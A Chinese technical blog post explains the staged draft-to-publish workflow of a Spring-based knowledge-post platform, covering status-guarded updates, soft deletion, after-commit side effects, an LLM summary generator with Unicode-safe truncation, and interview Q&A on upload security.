所以把它放到事务提交后异步执行,即使失败也不影响主流程


阶段三:元数据编辑

接口: PATCH /api/v1/knowposts/{id}
实现: KnowPostsServiceImpl.updateMetadata()(file:///d:/ideaProject/zhiguang/src/main/java/com/xiaoce/zhiguang/knowpost/service/impl/KnowPostsServiceImpl.java#L261-L280)

这一阶段允许用户编辑文章的非内容型元数据

java 复制代码
@Transactional
@DelayedDoubleDelete(id = "#id", delay = 500)
public void updateMetadata(long userId, long id, KnowPostUpdateRequest request) {
    invalidateCache(id);
    
    boolean success = lambdaUpdate()
        .eq(KnowPosts::getId, id)
        .eq(KnowPosts::getCreatorId, userId)  // 权限校验
        .set(request.title() != null, KnowPosts::getTitle, request.title())
        .set(request.tagId() != null, KnowPosts::getTagId, request.tagId())
        .set(request.tags() != null, KnowPosts::getTags, toJson(request.tags()))
        .set(request.imgUrls() != null, KnowPosts::getImgUrls, toJson(request.imgUrls()))
        .set(request.visible() != null, KnowPosts::getVisible, request.visible())
        .set(request.isTop() != null, KnowPosts::getIsTop, request.isTop())
        .set(request.description() != null, KnowPosts::getDescription, request.description())  // AI摘要
        .set(KnowPosts::getUpdateTime, Instant.now())
        .update();
    
    if (!success) {
        throw new BusinessException(ErrorCode.BAD_REQUEST, "帖子不存在或无权限");
    }
}

可编辑的字段:

字段 类型 说明
title String 文章标题
tagId Long 分类ID(如"Java"、"Python")
tags List 标签列表(如"Spring Boot","微服务"
imgUrls List 封面图/配图URL列表
visible String 可见性(public/private/followers/school/unlisted)
isTop Boolean 是否置顶
description String AI生成的摘要(50字以内)

注意: 这里没有更新 content_object_keycontent_url,因为它们有专门的确认接口(阶段二)。这体现了单一职责原则


阶段四:正式发布

接口: POST /api/v1/knowposts/{id}/publish
实现: KnowPostsServiceImpl.publish()(file:///d:/ideaProject/zhiguang/src/main/java/com/xiaoce/zhiguang/knowpost/service/impl/KnowPostsServiceImpl.java#L292-325)

这是整个流程的高潮部分------从"草稿"变成"已发布",文章开始对所有人可见。

java 复制代码
@Transactional
@DelayedDoubleDelete(id = "#id", delay = 500)
public void publish(long creatorId, long id) {
    invalidateCache(id);
    
    // 核心操作:状态机转换(draft → published)
    boolean success = lambdaUpdate()
        .eq(KnowPosts::getId, id)
        .eq(KnowPosts::getCreatorId, creatorId)
        .eq(KnowPosts::getStatus, "draft")  // ⚠️ 状态守卫:只有草稿才能发布
        .set(KnowPosts::getStatus, "published")
        .set(KnowPosts::getPublishTime, Instant.now())  // 记录发布时间
        .set(KnowPosts::getUpdateTime, Instant.now())
        .update();
    
    if (!success) {
        throw new BusinessException(ErrorCode.BAD_REQUEST, "草稿不存在或无权限");
    }
    
    // 发布后的副作用(异步执行,不阻塞响应)
    TransactionSynchronizationManager.registerSynchronization(new TransactionSynchronization() {
        @Override
        public void afterCommit() {
            // 1. 增加用户文章计数(Redis 计数器)
            userCounterService.incrementPosts(creatorId, 1);
            
            // 2. 触发 RAG 向量化索引(幂等操作,重复调用无害)
            ragIndexService.ensureIndexed(id);
            
            // 3. (未来可扩展)发送通知给粉丝
            // notificationService.notifyFollowers(creatorId, id);
        }
    });
}

关键设计点:状态守卫

java 复制代码
.eq(KnowPosts::getStatus, "draft")  // 只有 status=draft 的记录才能被更新

为什么必须有这行?

防止并发发布重复操作

复制代码
正常流程:
用户点击"发布" → status=draft → status=published ✅

异常场景(没有状态守卫):
用户快速点击两次"发布"
→ 第一次请求:status=draft → status=published ✅
→ 第二次请求:status=published → status=published ❓(语义错误)

有了状态守卫:
→ 第一次请求:status=draft → status=published ✅(影响行数=1)
→ 第二次请求:status=published ≠ draft → 匹配不到行 → 影响行数=0 → 抛出异常 ⚠️

阶段五:软删除

实现: KnowPostsServiceImpl.delete()(file:///d:/ideaProject/zhiguang/src/main/java/com/xiaoce/zhiguang/knowpost/service/impl/KnowPostsServiceImpl.java#L392-414)

java 复制代码
@Transactional
@DelayedDoubleDelete(id = "#id", delay = 500)
public void delete(long creatorId, long id) {
    invalidateCache(id);
    
    // 物理删除改为逻辑删除(标记为 deleted)
    boolean success = lambdaUpdate()
        .eq(KnowPosts::getId, id)
        .eq(KnowPosts::getCreatorId, creatorId)
        .set(KnowPosts::getStatus, "deleted")  // 软删除
        .set(KnowPosts::getUpdateTime, Instant.now())
        .update();
    
    // 异步更新计数器
    TransactionSynchronizationManager.registerSynchronization(new TransactionSynchronization() {
        @Override
        public void afterCommit() {
            userCounterService.incrementPosts(creatorId, -1);  // 文章数 -1
        }
    });
}

为什么用软删除而不是物理删除?

  1. 数据可恢复 :误删后可以从 deleted 状态恢复
  2. 审计追踪:保留删除时间和操作人,满足合规要求
  3. 关联数据完整性:如果文章有关联的评论、点赞记录,物理删除会导致外键约束问题
  4. 法律要求:某些地区法律规定用户数据必须保留一定期限才能彻底删除

AI 能力集成:一键生成文章摘要

知光平台接入了 DeepSeek 大模型,帮助用户自动生成文章摘要。

技术选型

模型: DeepSeek-Chat(通过 Spring AI 框架集成)

配置: application.yaml:81-98(file:///d:/ideaProject/zhiguang/src/main/resources/application.yaml#L81-98)

yaml 复制代码
ai:
  deepseek:
    api-key: ${config.ai.deepseek-key}
    base-url: https://api.deepseek.com
    chat:
      options:
        model: deepseek-chat
        temperature: 0.8  # 控制创造性(0=确定性输出,1=随机性输出)

核心实现

服务类: KnowPostDescriptionServiceImpl(file:///d:/ideaProject/zhiguang/src/main/java/com/xiaoce/zhiguang/llm/service/impl/KnowPostDescriptionServiceImpl.java)

java 复制代码
@Service
@RequiredArgsConstructor
public class KnowPostDescriptionServiceImpl implements IKnowPostDescriptionService {

    private final ChatClient chatClient;

    @Override
    public String generateDescription(String content) {
        // 1. 参数校验
        if (content == null || content.trim().isEmpty()) {
            throw new BusinessException(ErrorCode.BAD_REQUEST, "正文内容不能为空");
        }

        // 2. System Prompt:角色设定 + 任务约束
        String system = "你是中文文案编辑。请基于用户提供的知文正文,生成一个中文描述,"
                      + "简洁有吸引力,且不超过50个汉字。不输出解释或多段,只输出结果。";

        // 3. User Prompt:传入正文内容
        String user = "正文如下:\n\n" + content + "\n\n请直接给出不超过50字的中文描述。";

        // 4. 调用 DeepSeek 大模型
        try {
            String result = chatClient.prompt()
                .system(system)
                .user(user)
                .options(DeepSeekChatOptions.builder()
                    .model("deepseek-chat")
                    .maxTokens(50)      // 限制输出长度(防止模型啰嗦)
                    .temperature(0.8)   // 平衡创造性和准确性
                    .build())
                .call()
                .content();

            return postProcess(result);  // 5. 后处理清洗
            
        } catch (Exception e) {
            throw new BusinessException(ErrorCode.INTERNAL_ERROR, "大模型调用失败: " + e.getMessage());
        }
    }
}

后处理算法(亮点)

大模型的输出往往不够规范(可能包含换行符、多余引号、超出字数限制等),所以需要一个精细的后处理步骤。

方法: postProcess()(file:///d:/ideaProject/zhiguang/src/main/java/com/xiaoce/zhiguang/llm/service/impl/KnowPostDescriptionServiceImpl.java#L71-112)

java 复制代码
private String postProcess(String text) {
    if (text == null) return "";

    // 1. Unicode 标准化(NFKC):全角转半角,统一字符格式
    String t = Normalizer.normalize(text, Normalizer.Form.NFKC)
        .replaceAll("\r\n|\r|\n", " ")     // 去除换行
        .replaceAll("\\s+", " ")            // 合并连续空白
        .trim();

    // 2. 去除首尾引号和末尾标点
    t = t.replaceAll("^[\"'""'']+|[\"'""']+$", "")  // 去除首尾引号
         .replaceAll("[。!!??;;、]+$", "");         // 去除末尾标点

    // 3. 严格字数截断(基于 CodePoint,兼容 Emoji)
    int limit = 50;
    int count = t.codePointCount(0, t.length());

    if (count <= limit) return t;

    // 按 Unicode Code Point 截断(不会截断 Emoji 等多字节字符)
    StringBuilder sb = new StringBuilder();
    int i = 0, added = 0;
    while (i < t.length() && added < limit) {
        int cp = t.codePointAt(i);
        sb.appendCodePoint(cp);
        i += Character.charCount(cp);  // 正确处理 Surrogate Pair(如 Emoji)
        added++;
    }
    return sb.toString();
}

技术细节解析:

  1. Unicode NFKC 标准化

    • 把全角字母 ABC 转成半角 ABC
    • 把特殊连字符统一成标准形式
    • 保证字符比较的一致性
  2. 基于 CodePoint 截断(而非 char length)

    java 复制代码
    // 错误做法(会截断 Emoji)
    String truncated = text.substring(0, 50);  // 可能截断 emoji 的后半部分
    
    // 正确做法(基于 CodePoint)
    int count = t.codePointCount(0, t.length());  // 准确计算字符数

    因为 Java 的 char 是 16 位的,而 Emoji 是由一对 char(Surrogate Pair)组成的。如果用 substring 按 char 截断,可能会把 Emoji 截成两半,导致显示乱码。


架构设计思想总结

设计模式应用

模式 应用场景 体现位置 解决什么问题
状态机模式 发布流程的状态转换 KnowPosts.status 字段 保证状态一致性,防止非法跳转
策略模式 双模式文件上传 OssStorageServiceImpl 根据场景选择不同的上传方式
观察者模式 事务提交后触发异步任务 TransactionSynchronization 解耦主流程和副作用
模板方法 缓存失效统一处理 @DelayedDoubleDelete 注解 统一缓存失效策略
Builder 模式 复杂对象构建 KnowPosts.builder() 提高可读性,避免参数顺序错误

性能优化策略

  1. OSS 直传:大文件不上传到后端,节省服务器带宽
  2. 延迟双删缓存:解决分布式环境下的缓存一致性问题
  3. SingleFlight:防止缓存击穿(同一时刻只有一个请求回源查询数据库)
  4. 热点检测:自动识别热门文章,延长缓存时间
  5. 异步解耦:RAG 索引、计数器更新等非核心操作异步执行,提升响应速度

安全性设计

  1. 权限校验 :每个写操作都验证 creatorId,防止越权访问
  2. 参数校验:使用 Jakarta Validation 注解(@NotBlank, @NotNull)
  3. 状态守卫 :发布操作要求当前状态必须为 draft
  4. 路径规范化 :FileUtil 强制扩展名以 . 开头,防止路径遍历攻击
  5. 预签名过期:10分钟有效期限制,降低 URL 泄露风险

容错与降级设计

核心原则:非核心链路失败不能影响主流程。

java 复制代码
// 示例:RAG 索引失败的容错处理
try {
    ragIndexService.ensureIndexed(id);
} catch (Exception e) {
    log.warn("Pre-index failed, post {}: {}", id, e.getMessage());
    // 只记录警告日志,不抛异常,不影响用户发布文章
}

哪些操作可以异步/降级?

操作类型 是否核心 失败策略
数据库更新(状态变更) 核心 必须成功,否则事务回滚
OSS 文件上传确认 核心 必须成功,否则文章内容丢失
缓存删除 重要 失败可能导致短暂脏读,但最终一致
RAG 向量化索引 非核心 失败只影响 AI 问答功能,可后续补偿
计数器更新 非核心 失败导致统计不准,但不影响业务
通知推送 非核心 失败只是用户暂时没收到通知

面试追问深度解析

Q1:你们项目的发布系统是怎么设计的?为什么要用渐进式发布而不是一步到位?

A:我们采用的是状态机驱动的渐进式发布模式,核心原因有三点:

1. 用户体验角度

  • 用户可能写一半就去吃饭了,需要草稿自动保存
  • 大文件上传可能中断,需要断点续传能力
  • 发布前想预览效果,需要编辑→预览→发布的分阶段流程

2. 工程可靠性角度

  • 文件上传和网络请求都可能失败,需要原子性保证(要么全成功,要么全失败)
  • 并发操作可能导致数据不一致,需要状态守卫(防止重复发布)
  • AI 摘要生成可能超时,需要异步解耦(不阻塞主流程)

3. 业务灵活性角度

  • 不同可见性(公开/私密/仅粉丝可见)需要在发布前确定
  • 内容审核(如果有的话)应该在发布前完成
  • 定时发布功能需要先把内容准备好,到达指定时间才切换状态

如果采用"一步到位"的方式(前端一次性提交所有内容),一旦中途失败,用户就需要重新填写所有信息,体验很差。


Q2:预签名URL上传的安全性怎么保证?如果有人拿到了预签名URL,是不是就能随意上传文件了?

A:安全性通过多层防护来保证:

第一层:时效性限制

java 复制代码
int expiresIn = 600;  // URL 有效期只有 10 分钟

即使 URL 泄露,10 分钟后就失效了。

第二层:Content-Type 限制

java 复制代码
request.setContentType(contentType);  // 限制只能上传 image/jpeg

前端无法用这个 URL 上传 .html.js 文件(OSS 会拒绝)。

第三层:ObjectKey 路径限制

java 复制代码
objectKey = "posts/" + postId + "/images/" + date + "/" + rand + ext;

ObjectKey 由后端生成,前端无法指定路径(防止覆盖其他文件)。

第四层:权限校验

java 复制代码
if (!post.getCreatorId().equals(userId)) {
 throw new BusinessException("无权限");
}

生成 URL 前会校验用户是否是该帖子的作者。

第五层:确认机制

前端上传成功后,还需要调用 /content/confirm 接口回传元数据(ETag、SHA256),后端会校验这些信息是否合法。

所以即使有人拿到预签名URL,他也只能:

  • 在 10 分钟内使用
  • 只能上传指定 Content-Type 的文件
  • 只能上传到指定的 ObjectKey 路径
  • 上传后还需要通过确认接口验证

安全性是有保障的。


Q3:为什么要用 TransactionSynchronization.afterCommit() 而不是直接在新线程里执行异步任务?

A:核心区别在于"事务感知"

方案A:直接开新线程(不推荐)

java 复制代码
@Transactional
public void publish(...) {
 db.update(status="published");

 // 问题:此时事务还没提交!
 new Thread(() -> {
     ragIndexService.ensureIndexed(id);  // 可能读到旧数据(status 还是 draft)
 }).start();
}

因为 @Transactional 默认在方法返回后才提交事务,所以新线程启动时,数据库事务还没提交,可能读到不一致的数据。

方案B:使用 TransactionSynchronization(推荐)

java 复制代码
@Transactional
public void publish(...) {
 db.update(status="published");

 TransactionSynchronizationManager.registerSynchronization(new TransactionSynchronization() {
     @Override
     public void afterCommit() {
         // 此时事务已经提交,数据库状态是最新的
         ragIndexService.ensureIndexed(id);  // 一定能读到 status=published
     }
 });
}

afterCommit() 会在事务成功提交后才执行,保证:

  1. 数据库状态已经持久化
  2. 其他事务一定能看到最新数据
  3. 如果事务回滚了,afterCommit() 不会被调用(避免脏数据处理)

这是 Spring 提供的标准机制,比手动管理线程安全得多。


Q4:如果用户在发布过程中刷新页面或者关闭浏览器,怎么办?会出现数据不一致吗?

A:不会出现数据不一致,因为我们采用了"幂等 + 最终一致"的设计。

场景分析:

情况1:创建草稿后关闭页面

  • 数据库里有一条 status=draft 的记录
  • 下次用户打开编辑器,可以继续编辑这条草稿(基于 postId 加载)
  • 不会有任何数据丢失

情况2:上传文件到 OSS 后,没来得及调 confirm 接口

  • OSS 里有一个孤立的文件(没有被任何帖子引用)
  • 可以通过定时任务清理"孤儿文件"(超过24小时未被引用的 OSS 对象)
  • 或者在前端增加"未保存提示",用户离开时提醒保存

情况3:调了 confirm 接口,但在 publish 之前关闭页面

  • 数据库里 content_object_key 已更新,但 status 还是 draft
  • 文章对其他用户不可见(因为查询时会过滤 status=published
  • 用户下次进来可以继续编辑并发布

情况4:正在执行 publish 操作时网络中断

  • 要么事务成功提交(status=published
  • 要么事务回滚(status 保持 draft)✅
  • 不可能出现中间状态(数据库事务保证了原子性)

总结: 我们的每个操作都是幂等的 (重复调用结果相同)和原子的(要么全成功,要么全失败),所以无论用户在哪个环节中断,系统都能保持一致性。


总结

核心思想

渐进式发布不是简单的"分步骤",而是一种系统工程思维。 它体现了以下几个原则:

  1. 原子性原则:每个操作都是不可分割的最小单元(创建草稿、确认内容、发布),要么全成功,要么全失败
  2. 状态机原则:明确定义状态和转换规则,防止非法跳转(不能从 published 回到 draft)
  3. 异步解耦原则:核心链路(数据库更新)和辅助链路(索引、计数、通知)分离,互不阻塞
  4. 容错降级原则:非核心操作的失败不影响主流程(AI 索引失败不影响文章发布)
  5. 安全最小权限原则:每次操作都校验权限,防止越权访问

技术栈总结

层次 技术手段 解决什么问题 复杂度
文件存储 阿里云 OSS + 预签名URL直传 大文件高效上传
状态管理 数据库字段 + 条件更新 保证状态一致性
缓存一致性 延迟双删 + SingleFlight 防止脏读和缓存击穿
异步任务 TransactionSynchronization 解耦主流程和副作用
AI 集成 Spring AI + DeepSeek 自动生成摘要
文本处理 Unicode CodePoint 精准截断和多语言支持

适用场景

这种渐进式发布模式特别适合以下场景:

  • 内容管理系统(CMS):博客、新闻、知识库
  • 电商平台:商品上架(草稿→审核→上架→下架)
  • 社交平台:动态发布(编辑→发布→删除)
  • 办公协作:文档编辑(多人协作 + 版本控制)
  • 应用商店:APP 提交审核(开发→测试→审核→上线)

一句话收尾

好的发布系统应该像"自动挡汽车"一样:用户只需要踩油门(写内容)和刹车(发布),中间的换挡、离合、转向全部由系统自动完成。用户感知不到复杂性,但背后的每一个细节都经过精心设计。

这就是渐进式发布的魅力:把复杂留给系统,把简单留给用户。

相关推荐
小bo波3 分钟前
形式化方法 × UML
java·软件工程·uml·面向对象·形式化方法·tla+
掘金者阿豪27 分钟前
终于!我的第二本书正式出版,吃透 Agentic AI 核心不踩坑
javascript·后端
就叫_这个吧28 分钟前
IDEA中Javaweb项目创建+servlet,实现简单的信息录入获取
java·servlet·intellij-idea·web
二月龙31 分钟前
Redis 缓存设计避坑指南:穿透、击穿、雪崩与一致性问题
后端
程序员Jelena31 分钟前
接口调用的代码实现:从入门到实战
java
掘金者阿豪34 分钟前
运营不会SQL怎么办?我把数据库变成了大家都会用的表格
后端
代码钢琴师35 分钟前
Throttle4j 快速上手教程
java
孟陬37 分钟前
国外技术周刊 #139:LLM 正在杀死程序员的「懒惰美德」
前端·人工智能·后端
七牛云行业应用1 小时前
Codex CLI 和 Codex 桌面端完整教程:两种入口的功能对比与选择指南
前端·后端·github
wheninger1 小时前
DDD 聚合 × Agent 命令:那道拒绝 AI 的墙
后端